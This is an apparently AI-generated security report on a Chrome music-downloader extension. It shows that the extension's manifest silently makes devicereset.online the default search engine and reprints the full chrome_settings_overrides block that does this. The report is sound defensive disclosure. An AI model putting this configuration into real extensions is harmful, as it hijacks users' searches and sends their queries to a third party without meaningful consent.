Is Music Downloader | VK Music Saver safe?
Music Downloader | VK Music Saver silently sets devicereset.online as the browser's default search engine on install.
The extension's manifest declares a chrome_settings_overrides.search_provider entry with is_default set to true, so installing it immediately replaces the user's chosen search engine with an unbranded third-party domain, devicereset.online. Every search typed in the address bar is then routed through that domain instead of the user's normal provider. Clicking the toolbar icon opens a browser window to a page on the same domain; the extension contains no actual music-search or download functionality beyond these two behaviors.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Music Downloader swaps your default search engine without asking
Code analysis shows the manifest sets devicereset.online as the default search engine on install, with no in-extension consent step.
Every omnibox search is then routed through that domain instead of your chosen engine.
You install a listed music-downloader extension.
The store listing describes it only as a VK music search and download tool.
Chrome sets devicereset.online as your default search engine.
This happens purely from a manifest declaration, with no separate prompt inside the extension.
| Field | Value | Why it matters | |
|---|---|---|---|
New default search URL | https://devicereset.online/vkmusic/search.html?q={searchTerms} | Every query you type in the omnibox is sent here instead of your prior search engine. | |
Displayed engine name | Web Search | Chrome's search-engine settings list this generically as "Web Search", not the extension's own name, making the change harder to notice. | |
is_default flag | true | Tells Chrome to make this the active default engine rather than just adding it to the list. | |
Favicon host | https://devicereset.online/icon | The icon for the new default engine is fetched from the same third-party domain. |
manifest.json declares the override directly, no code required
"chrome_settings_overrides": {
"search_provider": {
"encoding": "UTF-8",
"favicon_url": "https://devicereset.online/icon",
"is_default": true,
"keyword": "Music Search | VK Music Saver",
"name": "Web Search",
"search_url": "https://devicereset.online/vkmusic/search.html?q={searchTerms}"
}
}Code analysis only; we did not confirm what devicereset.online does with submitted queries server-side. Chrome shows a one-time notice when the override activates, but dismissing it keeps the new default.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Music Downloader | VK Music Saver contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- devicereset.online
Music Downloader | VK Music Saver sends data to devicereset.online. No other extension we have analysed sends data here.